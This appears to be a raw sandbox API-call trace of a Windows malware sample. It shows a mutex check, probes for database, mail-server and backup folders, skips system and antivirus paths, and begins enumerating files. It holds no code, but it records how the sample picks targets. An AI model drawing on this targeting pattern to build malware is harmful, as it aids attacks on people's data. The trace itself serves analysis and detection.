OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.881] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned 1 [0045.881] GlobalLock (hMem=0x440004) returned 0x551178 [0045.881] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.881] GlobalUnlock (hMem=0x440004) returned 0 [0045.881] GlobalLock (hMem=0x440004) returned 0x551178 [0045.881] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.881] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.881] GlobalUnlock (hMem=0x440004) returned 0 [0045.881] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.881] GlobalUnlock (hMem=0x44000c) returned 0 [0045.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟂRꞖR企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0045.881] GetLastError () returned 0x3 [0045.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@ꜤR企@\x18䀴Q\x181")) returned 0xffffffff [0045.889] GetLastError () returned 0x2 [0045.889] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@븄R企@\x18?T\x18;")) returned 0xffffffff [0045.889] GetLastError () returned 0x2 [0045.889] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@봬R企@\x18?T\x18D")) returned 0xffffffff [0045.889] GetLastError () returned 0x2 [0045.889] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0045.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@ꜤR企@\x18븄R\x18j")) returned 0xffffffff [0045.890] GetLastError () returned 0x2 [0045.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0045.890] GetLastError () returned 0x2 [0045.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\븀R°") returned 6 [0045.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⇜R企@\x18?T\x18y")) returned 0xffffffff [0045.890] GetLastError () returned 0x2 [0045.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0045.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@뻜R企@\x18?T\x18\x81")) returned 0xffffffff [0045.890] GetLastError () returned 0x2 [0045.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0045.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0045.891] GetLastError () returned 0x2 [0045.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0045.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⇜R企@\x18?T\x18\x8f")) returned 0xffffffff [0045.891] GetLastError () returned 0x2 [0045.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0045.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@뻜R企@\x18?T\x18\x97")) returned 0xffffffff [0045.891] GetLastError () returned 0x2 [0045.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0045.891] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.891] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.891] GlobalUnlock (hMem=0x44000c) returned 0 [0045.891] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.891] GlobalLock (hMem=0x440004) returned 0x553188 [0045.891] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.891] GlobalUnlock (hMem=0x44000c) returned 0 [0045.891] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.891] GlobalUnlock (hMem=0x440004) returned 0 [0045.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.891] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.891] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.892] GlobalLock (hMem=0x440004) returned 0x551178 [0045.892] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.892] GlobalUnlock (hMem=0x440004) returned 0 [0045.892] GlobalLock (hMem=0x440004) returned 0x551178 [0045.892] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.892] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.892] GlobalUnlock (hMem=0x440004) returned 0 [0045.892] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.892] GlobalUnlock (hMem=0x44000c) returned 0 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.893] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0045.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0045.893] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.893] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.893] GlobalUnlock (hMem=0x44000c) returned 0 [0045.893] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.893] GlobalLock (hMem=0x440004) returned 0x553188 [0045.893] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.893] GlobalUnlock (hMem=0x44000c) returned 0 [0045.893] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.893] GlobalUnlock (hMem=0x440004) returned 0 [0045.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.893] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.893] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.893] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.893] GlobalLock (hMem=0x440004) returned 0x552180 [0045.893] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.893] GlobalUnlock (hMem=0x440004) returned 0 [0045.893] GlobalLock (hMem=0x440004) returned 0x552180 [0045.893] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.893] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.893] GlobalUnlock (hMem=0x440004) returned 0 [0045.893] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.893] GlobalUnlock (hMem=0x44000c) returned 0 [0045.893] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.893] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0045.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", 